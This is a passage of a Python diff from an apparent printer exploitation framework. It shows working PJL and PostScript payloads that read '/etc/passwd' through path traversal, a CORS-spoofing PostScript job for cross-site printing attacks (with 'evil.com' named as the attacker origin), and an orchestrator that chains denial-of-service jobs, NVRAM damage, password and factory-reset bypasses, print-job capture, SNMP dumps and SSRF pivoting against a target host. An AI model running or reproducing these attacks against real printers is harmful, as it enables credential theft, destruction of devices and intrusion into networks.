+ text = resp.decode('latin-1', errors='replace')
698
+ if 'FILE_CONTENT' in text or 'root:' in text:
699
+ all_creds.append(fpath)
700
+
701
+ # Also try PJL filesystem download
702
+ for pjl_path in ['0:/../../../etc/passwd', '0:/.profile']:
703
+ pjl_cmd = (UEL + b'@PJL\r\n'
704
+ + f'@PJL FSDOWNLOAD FORMAT:BINARY SIZE=65535 NAME="{pjl_path}"\r\n'.encode()
705
+ + UEL)
706
+ resp = _send_raw(host, port, pjl_cmd, timeout)
707
+ text = resp.decode('latin-1', errors='replace')
708
+ if 'root:' in text or 'password' in text.lower():
709
+ all_creds.append(f"PJL:{pjl_path}")
710
+
711
+ return AttackResult(
712
+ category='InfoDisclosure',
713
+ attack='credential_disclosure',
714
+ supported=True,
715
+ vulnerable=bool(all_creds),
716
+ exploited=bool(all_creds),
717
+ evidence=f"Readable credential files: {all_creds}",
718
+ severity='critical' if all_creds else 'info',
719
+ note='Path traversal via PS filenameforall or PJL FSDOWNLOAD',
720
+ )
721
+
722
+
723
+ def info_cors_spoofing_probe(host: str, port: int = 9100,
724
+ timeout: float = 8) -> AttackResult:
725
+ """
726
+ Test CORS spoofing capability — can the printer act as an HTTP server?
727
+
728
+ Sends a PostScript job that outputs HTTP headers including
729
+ Access-Control-Allow-Origin: * — making the printer act as a web server
730
+ that JavaScript (from evil.com) can read.
731
+
732
+ This is the basis for web attacker (cross-site printing) attacks.
733
+ """
734
+ cors_ps = (
735
+ b'%!\n'
736
+ b'(HTTP/1.0 200 OK\\n) print\n'
737
+ b'(Server: PrinterXPL-Forge-Test\\n) print\n'
738
+ b'(Access-Control-Allow-Origin: *\\n) print\n'
739
+ b'(Content-Type: text/plain\\n\\n) print\n'
740
+ b'product print\n'
741
+ b'(|) print\n'
742
+ b'version print\n'
743
+ b'(|) print\n'
744
+ b'revision 8 string cvs print\n'
745
+ b'(\\n) print flush\n'
746
+ )
747
+ resp = _send_raw(host, port, UEL + cors_ps + UEL, timeout)
748
+ text = resp.decode('latin-1', errors='replace')
749
+
750
+ has_cors = 'Access-Control-Allow-Origin' in text
751
+ has_product = bool(_re.search(r'[A-Za-z]{3,}', text))
752
+
753
+ return AttackResult(
754
+ category='InfoDisclosure',
755
+ attack='ps_cors_spoofing',
756
+ supported=len(resp) > 0,
757
+ vulnerable=has_cors or has_product,
758
+ exploited=has_cors,
759
+ evidence=f"CORS in response: {has_cors} | Product: {text[:80]}",
760
+ severity='high' if has_cors else 'medium',
761
+ note='Enables web attacker (XSP) to bypass same-origin policy via port 9100',
762
+ )
763
+
764
+
765
+ # ── Full campaign orchestrator ─────────────────────────────────────────────────
766
+
767
+ def run_campaign(
768
+ host: str,
769
+ make: str = '',
770
+ model: str = '',
771
+ firmware: str = '',
772
+ printer_langs: List[str] = None,
773
+ open_ports: List[int] = None,
774
+ dry_run: bool = True,
775
+ timeout: float = 8,
776
+ run_netmap: bool = False,
777
+ verbose: bool = True,
778
+ ) -> CampaignReport:
779
+ """
780
+ Execute the full printer attack campaign.
781
+
782
+ Runs all attack categories from the matrix, respecting dry_run safety.
783
+ With dry_run=True (default), no destructive actions are taken —
784
+ only capabilities are probed and vulnerabilities reported.
785
+
786
+ Args:
787
+ dry_run: Safe mode — probe capabilities without exploiting.
788
+ run_netmap: Also run full network mapping (slow — scans /24).
789
+ """
790
+ langs = [l.upper() for l in (printer_langs or [])]
791
+ ports = set(open_ports or [])
792
+ report = CampaignReport(
793
+ host=host, make=make, model=model,
794
+ firmware=firmware, printer_langs=langs,
795
+ open_ports=list(ports),
796
+ )
797
+
798
+ def _run(fn, *args, **kwargs) -> AttackResult:
799
+ try:
800
+ return fn(*args, **kwargs)
801
+ except Exception as exc:
802
+ return AttackResult(
803
+ category='error', attack=fn.__name__,
804
+ evidence=str(exc)[:60], severity='info',
805
+ )
806
+
807
+ from utils.ports import PortConfig as _PC
808
+ _raw_port = _PC.resolve('raw')
809
+ _ipp_port = _PC.resolve('ipp')
810
+ pjl_port = _raw_port if _raw_port in ports else None
811
+ ps_avail = _raw_port in ports # PS goes over RAW port too
812
+
813
+ if verbose:
814
+ print(f"\n{'='*65}")
815
+ print(f" ATTACK CAMPAIGN — {make} {model} @ {host}")
816
+ print(f" Mode: {'DRY-RUN (no destructive actions)' if dry_run else 'LIVE EXPLOIT'}")
817
+ print(f"{'='*65}\n")
818
+
819
+ # ── DoS ──────────────────────────────────────────────────────────────────
820
+ if verbose:
821
+ print(f" {CYN}[1/5] DENIAL OF SERVICE{RESET}")
822
+
823
+ if ps_avail or 'PS' in langs or 'POSTSCRIPT' in langs:
824
+ r = _run(dos_ps_infinite_loop, host, _raw_port, dry_run, timeout)
825
+ report.results.append(r)
826
+ _print_result(r, verbose)
827
+
828
+ r = _run(dos_ps_showpage_redef, host, _raw_port, dry_run, timeout)
829
+ report.results.append(r)
830
+ _print_result(r, verbose)
831
+
832
+ if pjl_port or 'PJL' in langs:
833
+ r = _run(dos_pjl_offline, host, _raw_port, dry_run, timeout)
834
+ report.results.append(r)
835
+ _print_result(r, verbose)
836
+
837
+ r = _run(dos_pjl_nvram_damage, host, _raw_port, dry_run, 50, timeout)
838
+ report.results.append(r)
839
+ _print_result(r, verbose)
840
+
841
+ # Always test CVE-2024-51982 (Brother/Ricoh)
842
+ r = _run(dos_cve_2024_51982, host, _raw_port, timeout)
843
+ report.results.append(r)
844
+ _print_result(r, verbose)
845
+
846
+ # IPP purge
847
+ if _ipp_port in ports:
848
+ from protocols.ipp_attacks import purge_all_jobs, discover_endpoints
849
+ eps = discover_endpoints(host, timeout)
850
+ if eps:
851
+ ep = eps[0]
852
+ purge = purge_all_jobs(host, ep['port'], ep['path'], ep['scheme'], timeout)
853
+ report.results.append(AttackResult(
854
+ category='DoS', attack='ipp_purge_jobs',
855
+ supported=True, vulnerable=purge['success'],
856
+ exploited=not dry_run and purge['success'],
857
+ evidence=purge['message'],
858
+ severity='medium' if purge['success'] else 'info',
859
+ ))
860
+ _print_result(report.results[-1], verbose)
861
+
862
+ # ── Protection Bypass ─────────────────────────────────────────────────────
863
+ if verbose:
864
+ print(f"\n {CYN}[2/5] PROTECTION BYPASS{RESET}")
865
+
866
+ r = _run(bypass_pjl_password, host, _raw_port, timeout)
867
+ report.results.append(r)
868
+ _print_result(r, verbose)
869
+
870
+ r = _run(bypass_pml_factory_reset, host, _raw_port, dry_run, timeout)
871
+ report.results.append(r)
872
+ _print_result(r, verbose)
873
+
874
+ r = _run(bypass_ps_exitserver, host, _raw_port, timeout)
875
+ report.results.append(r)
876
+ _print_result(r, verbose)
877
+
878
+ r = _run(bypass_snmp_reset, host, timeout)
879
+ report.results.append(r)
880
+ _print_result(r, verbose)
881
+
882
+ # ── Print Job Manipulation ────────────────────────────────────────────────
883
+ if verbose:
884
+ print(f"\n {CYN}[3/5] PRINT JOB MANIPULATION{RESET}")
885
+
886
+ r = _run(job_overlay, host, _raw_port, '', dry_run, timeout)
887
+ report.results.append(r)
888
+ _print_result(r, verbose)
889
+
890
+ r = _run(job_capture_start, host, _raw_port, dry_run, timeout)
891
+ report.results.append(r)
892
+ _print_result(r, verbose)
893
+
894
+ r = _run(job_capture_list, host, _raw_port, timeout)
895
+ report.results.append(r)
896
+ _print_result(r, verbose)
897
+
898
+ # ── Information Disclosure ────────────────────────────────────────────────
899
+ if verbose:
900
+ print(f"\n {CYN}[4/5] INFORMATION DISCLOSURE{RESET}")
901
+
902
+ r = _run(info_pjl_memory_access, host, _raw_port, timeout)
903
+ report.results.append(r)
904
+ _print_result(r, verbose)
905
+
906
+ r = _run(info_ps_filesystem, host, _raw_port, '/', timeout)
907
+ report.results.append(r)
908
+ _print_result(r, verbose)
909
+
910
+ r = _run(info_ps_credential_disclosure, host, _raw_port, timeout)
911
+ report.results.append(r)
912
+ _print_result(r, verbose)
913
+
914
+ r = _run(info_cors_spoofing_probe, host, _raw_port, timeout)
915
+ report.results.append(r)
916
+ _print_result(r, verbose)
917
+
918
+ # SNMP MIB + network info
919
+ from protocols.storage import snmp_dump
920
+ mib = snmp_dump(host, verbose=False)
921
+ report.results.append(AttackResult(
922
+ category='InfoDisclosure', attack='snmp_mib_dump',
923
+ supported=bool(mib), vulnerable=bool(mib),
924
+ exploited=bool(mib),
925
+ evidence=f"{len(mib)} OIDs retrieved",
926
+ severity='medium' if mib else 'info',
927
+ ))
928
+ _print_result(report.results[-1], verbose)
929
+
930
+ # ── Network Mapping ───────────────────────────────────────────────────────
931
+ if verbose:
932
+ print(f"\n {CYN}[5/5] NETWORK MAPPING{RESET}")
933
+
934
+ if run_netmap:
935
+ from protocols.network_map import build_network_map, print_network_map
936
+ nm = build_network_map(host, timeout=timeout, verbose=verbose)
937
+ report.network_map = nm
938
+ report.results.append(AttackResult(
939
+ category='Network',
940
+ attack='network_map',
941
+ supported=True,
942
+ vulnerable=bool(nm.attack_paths),
943
+ exploited=False,
944
+ evidence=nm.summary(),
945
+ severity='high' if nm.attack_paths else 'info',
946
+ ))
947
+ else:
948
+ # Quick pivot check
949
+ from protocols.ssrf_pivot import pivot_audit
950
+ from protocols.ipp_attacks import discover_endpoints
951
+ eps = discover_endpoints(host, timeout)
952
+ if eps:
953
+ ep = eps[0]
954
+ pres = pivot_audit(host, ep['port'], ep['path'], ep['scheme'],
955
+ timeout, verbose=False)
956
+ report.results.append(AttackResult(
957
+ category='Network',
958
+ attack='ssrf_pivot',
959
+ supported=True,
960
+ vulnerable=bool(pres['risk']),
961
+ exploited=bool(pres['internal_hosts']),
962
+ evidence=f"Risks: {pres['risk']} | Hosts: {pres['internal_hosts']}",
963
+ severity='high' if 'IPP_SSRF_CAPABLE' in pres['risk'] else 'medium',
964
+ ))
965
+ _print_result(report.results[-1], verbose)
966
+
967
+ return report
968
+
969
+
970
+ def _print_result(r: AttackResult, verbose: bool) -> None:
971
+ if not verbose:
972
+ return
973
+ sev_color = {
974
+ 'critical': RED,
975
+ 'high': '\033[0;31m',
976
+ 'medium': YEL,
977
+ 'low': '\033[1;34m',
978
+ 'info': DIM,
979
+ }.get(r.severity, '')
980
+ icon = f"{RED}[EXPLOITED]{RESET}" if r.exploited else (
981
+ f"{YEL}[VULN]{RESET}" if r.vulnerable else (
982
+ f"{GRN}[OK]{RESET}" if r.supported else f"{DIM}[N/A]{RESET}"))
983
+ print(f" {icon} {sev_color}{r.category}/{r.attack}{RESET}")
984
+ if r.evidence:
985
+ print(f" {DIM}{r.evidence[:90]}{RESET}")
986
+
987
+
988
+ def print_campaign_report(report: CampaignReport) -> None:
989
+ """Pretty-print a full CampaignReport."""
990
+ print(f"\n{'='*70}")
991
+ print(f" CAMPAIGN REPORT — {report.host}")
992
+ print(f"{'='*70}")
993
+ print(f" Target : {report.make} {report.model} {report.firmware}")
994
+ print(f" Summary : {report.summary()}")
995
+
996
+ if report.critical_findings:
997
+ print(f"\n {RED}CRITICAL/HIGH FINDINGS ({len(report.critical_findings)}){RESET}")
998
+ print(f" {'-'*65}")
999
+ for r in report.critical_findings:
1000
+ print(f" {RED}[!]{RESET} {r.category}/{r.attack} [{r.severity.upper()}]")
1001
+ print(f" {r.evidence[:80]}")
1002
+ if r.note:
1003
+ print(f" Note: {r.note[:80]}")
1004
+
1005
+ # Category summary
1006
+ cats: Dict[str, List[AttackResult]] = {}
1007
+ for r in report.results:
1008
+ cats.setdefault(r.category, []).append(r)
1009
+
1010
+ print(f"\n RESULTS BY CATEGORY")
1011
+ print(f" {'-'*65}")
1012
+ for cat, results in cats.items():
1013
+ vuln = sum(1 for r in results if r.vulnerable)
1014
+ expl = sum(1 for r in results if r.exploited)
1015
+ print(f" {cat:<28} {len(results)} tests "
1016
+ f"{YEL}{vuln} vuln{RESET} {RED}{expl} exploited{RESET}")
1017
+
1018
+ if report.network_map:
1019
+ nm = report.network_map
1020
+ print(f"\n NETWORK MAP")
1021
+ print(f" Gateway: {nm.gateway} | Hosts: {len(nm.hosts)} | "
1022
+ f"Other printers: {len(nm.other_printers)}")
1023
+ for path in nm.attack_paths[:5]:
1024
+ print(f" {YEL}→{RESET} {path}")
1025
+ print()